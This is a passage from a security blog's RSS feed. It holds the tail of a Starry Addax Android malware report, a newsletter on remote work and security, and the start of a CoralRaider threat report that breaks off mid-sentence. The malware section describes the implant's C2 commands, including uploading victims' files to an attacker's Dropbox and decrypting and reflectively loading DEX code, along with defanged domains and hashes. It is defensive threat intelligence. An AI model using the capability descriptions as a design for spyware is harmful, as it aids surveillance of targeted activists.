#000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">f2a6c498fb90ee345d997f888fce3b18&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Delete&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Delete a specified filepath.&#xA0;</span></p></td></tr><tr style="height:116.25pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3e679cff5b3a6f6f8f32aead541a0a12&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Drop&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Upload a local file to the attacker&#x2019;s dropbox folders using the Dropbox API.&#xA0;</span></p><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">The ACCESS TOKEN, local filepath and remote upload path is specified by the C2.&#xA0;</span></p></td></tr><tr style="height:99.75pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">fb84708d32d00fca5d352e460776584c&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">DECRYPT&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">AES Decrypt a file from the application package directory using the secret key and IV specified and write it to a file named &#x201C;.EXEC.dex&#x201D;&#xA0;</span></p></td></tr><tr style="height:50.25pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0ba4439ee9a46d9d9f14c60f88f45f87&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">check&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Check if a file inside the application package directory exists.&#xA0;</span></p></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>These commands are supported by accompanying information and consist of the following variables being sent across by the C2:&#xA0;</p><p><strong>DURL:</strong> Indicates the download URL used by the &#x201C;Download&#x201D; command above.&#xA0;</p><p><strong>APPNAME:</strong> Indicates the filename to use for the destination file during the &#x201C;Download&#x201D; command.&#xA0;</p><p><strong>DEX: </strong>Contains the source file name to be used during the Decrypt (and reflectively load) commands.&#xA0;</p><p><strong>ky1: </strong>Indicates a value to be used in the context of specific command codes:&#xA0;</p><ul><li>Delete = File to be deleted.&#xA0;</li><li>Drop = File to be read and uploaded to Dropbox.&#xA0;</li><li>DECRYPT = Secret key used for AES decryption.&#xA0;</li><li>Check = Filename to be whose presence is to be checked in the application package directory.&#xA0;</li></ul><p>&#xA0;<strong>ky2: </strong>Indicates a value to be used in the context of specific command codes:&#xA0;</p><ul><li>Drop = Remote file location where the local file needs to be uploaded on Dropbox.&#xA0;</li><li>DECRYPT = IV used for AES decryption.&#xA0;</li></ul><p>&#xA0;<strong>ky3: </strong>Indicates a value to be used in the context of specific command codes:&#xA0;</p><ul><li>Drop = Dropbox ACCESS TOKEN value to be used during file upload.&#xA0;</li><li>DECRYPT = IV used for AES decryption.&#xA0;</li></ul><p>&#xA0;<strong>fl: </strong>Filename used during the DEX reflective load process.&#xA0;&#xA0;</p><p><strong>ky4: </strong>Used as a parameter during reflective loading of the DEX file.&#xA0;</p><p><strong>ky5: </strong>Secret key used for AES decryption as part of the implant&#x2019;s DEX decrypt and reflective load.&#xA0;</p><p><strong>ky6: </strong>IV used for AES decryption as part of the implant&#x2019;s DEX decrypt and reflective load.&#xA0;</p><p><strong>ky7</strong>: Contains the source file name to be used during the AES decryption as part of the implant&#x2019;s DEX decrypt and reflective load.&#xA0;</p><h2 id="coverage">Coverage&#xA0;</h2><p>Ways our customers can detect and block this threat are listed below.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/04/data-src-image-d72040e8-7a44-4fff-8fc3-6725f2a96db9.jpeg" class="kg-image" alt="Starry Addax targets human rights defenders in North Africa with new malware" loading="lazy" width="1600" height="323" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/04/data-src-image-d72040e8-7a44-4fff-8fc3-6725f2a96db9.jpeg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/04/data-src-image-d72040e8-7a44-4fff-8fc3-6725f2a96db9.jpeg 1000w, https://blog.talosintelligence.com/content/images/2024/04/data-src-image-d72040e8-7a44-4fff-8fc3-6725f2a96db9.jpeg 1600w" sizes="(min-width: 720px) 720px"></figure><p><a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html?ref=cisco-talos-blog">Cisco Secure Endpoint</a> (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free<a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium=web-referral%3Futm_source%3Dcisco&amp;%3Butm_campaign=amp-free-trial&amp;%3Butm_term=pgm-talos-trial&amp;%3Butm_content=amp-free-trial&amp;ref=cisco-talos-blog"> here.</a>&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html?ref=cisco-talos-blog">Cisco Secure Web Appliance</a> web scanning prevents access to malicious websites and detects malware used in these attacks.&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/products/security/email-security/index.html?ref=cisco-talos-blog">Cisco Secure Email</a> (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free<a href="https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium=web-referral&amp;%3Butm_source=cisco&amp;%3Butm_campaign=cmd-free-trial-request&amp;%3Butm_term=pgm-talos-trial&amp;ref=cisco-talos-blog"> here</a>.&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/products/security/firewalls/index.html?ref=cisco-talos-blog">Cisco Secure Firewall</a> (formerly Next-Generation Firewall and Firepower NGFW) appliances such as<a href="https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html?ref=cisco-talos-blog"> Threat Defense Virtual</a>,<a href="https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html?ref=cisco-talos-blog"> Adaptive Security Appliance</a> and<a href="https://meraki.cisco.com/products/appliances?ref=cisco-talos-blog"> Meraki MX</a> can detect malicious activity associated with this threat.&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/products/security/threat-grid/index.html?ref=cisco-talos-blog">Cisco Secure Malware Analytics</a> (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.&#xA0;</p><p><a href="https://umbrella.cisco.com/?ref=cisco-talos-blog">Umbrella</a>, Cisco&apos;s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella<a href="https://signup.umbrella.com/?utm_medium=web-referral%3Futm_source%3Dcisco&amp;%3Butm_campaign=umbrella-free-trial&amp;%3Butm_term=pgm-talos-trial&amp;%3Butm_content=automated-free-trial&amp;ref=cisco-talos-blog"> here</a>.&#xA0;</p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html?ref=cisco-talos-blog">Cisco Secure Web Appliance</a> (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.&#xA0;</p><p>Additional protections with context to your specific environment and threat data are available from the<a href="https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html?ref=cisco-talos-blog"> Firewall Management Center</a>.&#xA0;</p><p>&#xA0;<a href="https://signup.duo.com/?utm_source=talos&amp;utm_medium=referral&amp;utm_campaign=duo-free-trial">Cisco Duo</a> provides multi-factor authentication for users to ensure only those authorized are accessing your network.&#xA0;</p><p>&#xA0;Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on<a href="https://www.snort.org/products?ref=cisco-talos-blog"> Snort.org</a>.&#xA0;</p><h2 id="iocs">IOCs&#xA0;</h2><p>IOCs for this research can also be found at our GitHub repository <a href="https://github.com/Cisco-Talos/IOCs/tree/main/2024/04" rel="noreferrer"><u>here</u></a>.&#xA0;</p><h3 id="hashes">Hashes&#xA0;</h3><p>f7d9c4c7da6082f1498d41958b54d7aeffd0c674aab26db93309e88ca17c826c&#xA0;</p><p>ec2f2944f29b19ffd7a1bb80ec3a98889ddf1c097130db6f30ad28c8bf9501b3&#xA0;</p><h3 id="network-iocs">Network IOCs&#xA0;</h3><p>hxxps[://]runningapplications-b7dae-default-rtdb[.]firebaseio[.]com&#xA0;</p><p>ondroid[.]site&#xA0;</p><p>ondroid[.]store&#xA0;</p><p>bit[.]ly/48wdj1m&#xA0;</p><p>www[.]ondroid[.]store/aL2mohh1&#xA0;</p><p>bit[.]ly/48E4W3N&#xA0;</p><p>www[.]ondroid[.]store/ties5shizooQu1ei/&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[There are plenty of ways to improve cybersecurity that don’t involve making workers return to a physical office]]></title><description><![CDATA[An April 2023 study from Kent State University found that remote workers are more likely to be vigilant of security threats and take actions to ward them off than their in-office counterparts.  ]]></description><link>https://blog.talosintelligence.com/threat-source-newsletter-april-4-2024/</link><guid isPermaLink="false">660eb5679bef0c00013a9d3e</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Thu, 04 Apr 2024 18:00:39 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/04/threat-source-newsletter.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/04/threat-source-newsletter.jpg" alt="There are plenty of ways to improve cybersecurity that don&#x2019;t involve making workers return to a physical office"><p>As my manager knows, I&#x2019;m not the biggest fan of working in a physical office. I&#x2019;m a picky worker &#x2014; I like my workspace to be borderline frigid, I hate dark mode on any software, and I want any and all lighting cranked all the way up.&#xA0;&#xA0;</p><p>So, know that I&#x2019;m biased going into this, but I also can&#x2019;t get over the idea that companies are using cybersecurity as an excuse to create return-to-office policies in 2024.&#xA0;&#xA0;</p><p>I started thinking about this because of the video game developer Rockstar, which owns some of the largest video game franchises on the planet like Red Dead Redemption and Grant Theft Auto.&#xA0;</p><p>The company recently started asking its employees to return to its physical office five days a week in the name of productivity and security as the company pushes to finish its highly anticipated title &#x201C;Grand Theft Auto VI.&#x201D;&#xA0;&#xA0;</p><p>Rockstar has long faced a number of cybersecurity concerns over the years, including a <a href="https://www.ign.com/articles/grand-theft-auto-6-leaks-everything-thats-happened-so-far" rel="noreferrer noopener"><u>massive leak</u></a> featuring early, in-progress gameplay of GTA VI in 2022 and other sensitive data. The attack was eventually attributed to the Lapsus$ group, and the <a href="https://www.bbc.com/news/technology-67663128" rel="noreferrer noopener"><u>perpetrator was eventually charged and sentenced</u></a>. The <a href="https://www.polygon.com/23989793/grand-theft-auto-6-gta6-leaks-who-leaked-trailer-hack" rel="noreferrer noopener"><u>first reveal trailer for the game</u></a> was also leaked ahead of time.&#xA0;&#xA0;</p><p>Many other companies have started to implement return-to-office policies over the past two years, citing various things ranging from worker productivity to interpersonal camaraderie, real estate costs, and more. I&#x2019;m willing to hear arguments for all those things, but simply thinking that having employees all in one physical space is going to solve security problems seems far-fetched to me.&#xA0;&#xA0;</p><p>We&#x2019;ve written and talked about the various ways remote work has influenced cybersecurity since the onset of the COVID-19 pandemic. There&#x2019;s no doubt that admins have had to implement new login methods, security controls and policies since more workers across the globe started working remotely. But four years into this trend, there&#x2019;s no excuse to not be prepared to have remote workers anymore.&#xA0;</p><p>An <a href="https://www.kent.edu/today/news/who-more-aware-cybersecurity-risks-remote-workers-or-office-employees" rel="noreferrer noopener"><u>April 2023 study from Kent State University</u></a> found that remote workers are more likely to be vigilant of security threats and take actions to ward them off than their in-office counterparts.&#xA0;&#xA0;</p><p>The use of multi-factor authentication during the rise in remote work has skyrocketed, but often, this requirement is actually dropped if a user is physically in the office or accessing an on-site machine because of the perceived security of being in the office.&#xA0;&#xA0;</p><p>The perceived security of a physical office can sometimes lull admins into a false sense of security, too, because machines located on-site may lack pre-boot authentication or encryption that&#x2019;s commonly found on remote workers&#x2019; devices.&#xA0;&#xA0;</p><p>I&#x2019;m not saying that working in an office is inherently less secure than remote work, but I do believe that the risks are essentially the same. Regardless of where an employee is working from, they should be using app-based MFA to access all their services. Sensitive software and hardware should rely on passkeys or physical token access rather than outdated password policies that create easy-to-guess or shareable text-based passwords.&#xA0;&#xA0;</p><p>And if security is the name of the game when asking employees to come back into the office, there&#x2019;s still going to be a monetary investment that comes with that, too.&#xA0;</p><p>Cisco&#x2019;s recently published <a href="https://blog.webex.com/hybrid-work/global-hybrid-work-study/" rel="noreferrer noopener"><u>Global Hybrid Work study</u></a> found that only 28 percent of responding employees say they would rank their employers&#x2019; office&#x2019;s &#x201C;Privacy and security features&#x201D; as &#x201C;very well.&#x201D; To me, that says that even if employers want workers back in the office, they still need to upgrade their security, which is always going to mean more money and greater manpower.&#xA0;&#xA0;</p><p>Security fundamentals should stay the same, no matter where your employees are. And suppose security is a chief concern for a company in wanting to go back to the &#x201C;traditional&#x201D; office lifestyle. In that case, I&#x2019;m willing to bet they still have security gaps to overcome that simply can&#x2019;t be solved by thinking they&#x2019;ll be able to keep a closer eye on employees while they&#x2019;re in the office to keep them from clicking on a phishing email.&#xA0;</p><h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>Remote system management/desktop access tools such as AnyDesk and TeamViewer have grown in popularity since 2020. While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns. Cisco Talos Incident Response (Talos IR) has <a href="https://blog.talosintelligence.com/adversaries-are-leveraging-remote-access-tools/" rel="noreferrer noopener"><u>recently seen a spike</u></a> in actors using this type of software as a method of gaining initial access to a network or to spy on the actions of users. Talos IR noted in its Quarterly Trends report for the third quarter of 2023, &#x201C;AnyDesk was observed in all ransomware and pre-ransomware engagements [. . .], underscoring its role in ransomware affiliates&apos; attack chains.&#x201D;&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>The use of these types of tools has increased since the start of the COVID-19 pandemic when remote work became more common. Since this software is legitimate, it can be easy for an attacker to compromise it and sit undetected on a network, bypassing traditional blocking methods. These tools introduce the ability for an adversary to potentially take full remote control of a system, are easy to download and install, and can be very difficult to detect since they are considered legitimate software.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Adopting one, or at most two, approved remote management solutions will allow the organization to thoroughly test and deploy in the most secure possible configuration. Once a solution is approved and championed for the organization, other remote management/access tools should be explicitly banned by policy. Due to the complexity of implementing all these controls, detection rules can serve as a backup in case an adversary finds a way to circumvent these mitigations.&#xA0;</p><h1 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h1><p><strong>The U.S. and Britain have jointly filed chargers and sanctions against a Chinese state-sponsored actor known as APT31.</strong> The group is accused of a sweeping espionage campaign allegedly linked to China&apos;s Ministry of State Security (MSS) in the province of Hubei. The group reportedly targeted thousands of U.S. and foreign politicians, foreign policy experts and other high-profile targets. Individuals in the White House, U.S. State Department and spouses of officials were also among those targeted. The attacks aligned with geopolitical events affecting China, including economic tensions with the U.S., arguments over control of the South China Sea, and pro-democracy rallies in Hong Kong in 2019. A release from the U.S. Department of Justice stated that the campaigns involved more than 10,000 malicious emails, sent to targets in multiple continents, in what it called a &#x201C;prolific global hacking operation.&#x201D; The charges go on to say that APT31 hoped to compromise government institution networks and stealing trade secrets. Seven Chinese nationals are the target of the new sanctions for their alleged involvement with APT31, including the Wuhan XRZ corporation that is tied to the threat actor. (<a href="https://www.reuters.com/technology/cybersecurity/apt31-chinese-hacking-group-behind-global-cyberespionage-campaign-2024-03-26/" rel="noreferrer noopener"><u>Reuters</u></a>, <a href="https://www.justice.gov/usao-edny/pr/seven-hackers-associated-chinese-government-charged-computer-intrusions-targeting" rel="noreferrer noopener"><u>U.S. Department of Justice</u></a>)&#xA0;</p><p><strong>A silent backdoor on Linux machines was almost a massive supply chain attack, before a lone developer found malicious code hidden in software updates.</strong> The malicious code was hidden in two updates to xz Utils, an open-source data compression utility available on almost all installations of Linux and other Unix-like operating systems. Had it been successfully deployed, adversaries could have stashed malicious code in an SSH login certificate, upload it and execute it on the backdoored device. Whoever is behind this code likely spent years working on it, with open-source updates going back to 2021. The actor never actually took advantage of the malicious code, so it&#x2019;s unclear what they planned to upload. Researchers eventually identified the vulnerability as CVE-2024-3094. The U.S. Cybersecurity and Infrastructure Security Agency warned government agencies to downgrade their xz Utils to older versions. (<a href="https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/" rel="noreferrer noopener"><u>Ars Technica</u></a>, <a href="https://www.darkreading.com/cyber-risk/xz-utils-backdoor-implanted-in-intricate-multi-year-supply-chain-attack" rel="noreferrer noopener"><u>Dark Reading</u></a>)&#xA0;</p><p><strong>There is a massive backup with the National Vulnerabilities Database and, consequently, MITRE is unable to compile a list of all new vulnerabilities. </strong>A recent study from Flashpoint found that there was backlog of more than 100,000 vulnerabilities with no CVE number, and consequently, hadn&#x2019;t been included in the NVD. Of those, 330 vulnerabilities had been exploited in the wild, yet defenders had not been made aware of them. The National Institute of Standards and Technology blamed the backup on an increase in the volume of software available to the public, leading to a larger number of vulnerabilities, as well as &#x201C;a change in interagency support.&#x201D; NIST has only analyzed about half of the more than 8,700 vulnerabilities that had been submitted so far in 2024. And in March alone, they only analyzed 199 out of the 3,370 vulnerabilities submitted. Several organizations have tried launching their own alternatives to the NVD, though adoption can still take a long time. NIST has also vowed to remain dedicated to the NVD and that it&#x2019;s still regrouping its current efforts. (<a href="https://www.securityweek.com/cve-and-nvd-a-weak-and-fractured-source-of-vulnerability-truth/" rel="noreferrer noopener"><u>SecurityWeek,</u></a> <a href="https://therecord.media/vulnerability-database-backlog-nist-support" rel="noreferrer noopener"><u>The Record by Recorded Future</u></a>)&#xA0;</p><h1 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h1><ul><li><a href="https://vimeo.com/929639326" rel="noreferrer noopener"><u>Enterprise Imperatives: The Critical Importance of Threat Intelligence</u></a>&#xA0;</li><li><a href="https://www.networkworld.com/article/2075166/beware-the-gap-between-security-readiness-and-confidence-levels-cisco-warns.html" rel="noreferrer noopener"><u>Beware the gap between security readiness and confidence levels, Cisco warns</u></a>&#xA0;</li></ul><h1 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h1><p><a href="https://www.botconf.eu/schedule/" rel="noreferrer"><strong><u>Botconf</u></strong></a><strong> (April 23 - 26)</strong>&#xA0;</p><p><em>Nice, C&#xF4;te d&apos;Azur, France</em></p><blockquote><em>This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.</em></blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"></a></p><p><a href="https://www.caro2024.org/agenda/" rel="noreferrer"><strong><u>CARO Workshop 2024</u></strong></a><strong> (May 1 - 3)</strong>&#xA0;</p><p><em>Arlington, Virginia</em></p><blockquote>Over the past year, we&#x2019;ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra&apos;s presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.</blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"><strong><u>RSA</u></strong></a><strong> (May 6 - 9)</strong>&#xA0;</p><p><em>San Francisco, California</em>&#xA0;&#xA0;&#xA0;&#xA0;</p><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details&#xA0;" rel="noreferrer">a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 7bdbd180c081fa63ca94f9c22c457376&#xA0;<br><strong>Typical Filename:</strong> c0dwjdi6a.dll&#xA0;|<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Trojan.GenericKD.33515991&#xA0;</p><p><strong>SHA 256: </strong><a href="https://www.virustotal.com/gui/file/744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241/details " rel="noreferrer">744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241</a> <br><strong>MD5:</strong> a5e26a50bf48f2426b15b38e5894b189 <br><strong>Typical Filename:</strong> a5e26a50bf48f2426b15b38e5894b189.vir <br><strong>Claimed Product: </strong>N/A <br><strong>Detection Name:</strong> Win.Dropper.Generic::1201 </p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/3a2ea65faefdc64d83dd4c06ef617d6ac683f781c093008c8996277732d9bd66" rel="noreferrer">3a2ea65faefdc64d83dd4c06ef617d6ac683f781c093008c8996277732d9bd66</a><br><strong>MD5:</strong> 8b84d61bf3ffec822e2daf4a3665308c<br><strong>Typical Filename:</strong> RemComSvc.exe<br><strong>Claimed Product:</strong> N/A&#xA0;<br><strong>Detection Name:</strong> W32.3A2EA65FAE-95.SBX.TG</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647/details&#xA0;" rel="noreferrer">0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647</a>&#xA0;<br><strong>MD5:</strong> bbcf7a68f4164a9f5f5cb2d9f30d9790&#xA0;<br><strong>Typical Filename:</strong> bbcf7a68f4164a9f5f5cb2d9f30d9790.vir&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;<br><strong>Detection Name:</strong> Win.Dropper.Scar::1201&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/62dfe27768e6293eb9218ba22a3acb528df71e4cc4625b95726cd421b716f983/details" rel="noreferrer">62dfe27768e6293eb9218ba22a3acb528df71e4cc4625b95726cd421b716f983</a><br><strong>MD5: </strong>0211073feb4ba88254f40a2e6611fcef<br><strong>Typical Filename:</strong> UIHost64.exe<br><strong>Claimed Product:</strong> McAfee WebAdvisor<br><strong>Detection Name: </strong>Trojan.GenericKD.68726899</p>]]></content:encoded></item><item><title><![CDATA[CoralRaider targets victims’ data and social media accounts]]></title><description><![CDATA[Cisco Talos discovered a new threat actor we’re calling “CoralRaider” that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries. ]]></description><link>https://blog.talosintelligence.com/coralraider-targets-socialmedia-accounts/</link><guid isPermaLink="false">660e4a109bef0c00013a9cf0</guid><category><![CDATA[Threats]]></category><dc:creator><![CDATA[Chetan Raghuprasad]]></dc:creator><pubDate>Thu, 04 Apr 2024 12:00:01 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/04/image12.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos discovered a new threat actor we&#x2019;re calling &#x201C;CoralRaider&#x201D; that we believe is of Vietnamese origin and financially motivated. CoralRaider has been operating since at least 2023, targeting victims in several Asian and Southeast Asian countries.&#xA0;</li><li>This group focuses on stealing victims&#x2019; credentials, financial data, and social media accounts, including business and advertisement accounts.</li><li>They use RotBot, a customized variant of QuasarRAT, and XClient stealer as payloads in the campaign we analyzed.</li><li>The actor uses the dead drop technique, abusing a legitimate service to host the C2 configuration file and uncommon living-off-the-land binaries (LoLBins), including Windows Forfiles.exe and FoDHelper.exe&#xA0;</li></ul><h1 id="coralraider-operators-likely-based-in-vietnam">CoralRaider operators likely based in Vietnam&#xA0;</h1><img src="https://blog.talosintelligence.com/content/images/2024/04/image12.jpg" alt="CoralRaider targets victims&#x2019; data and social media accounts"><p>Talos assesses with high confidence that the CoralRaider operators are based in Vietnam, based on the actor messages in their Telegram C2 bot channels and language preference in naming their bots, PDB strings, and other Vietnamese words hardcoded in their payload binaries. The actor&#x2019;s IP address is located in Hanoi, 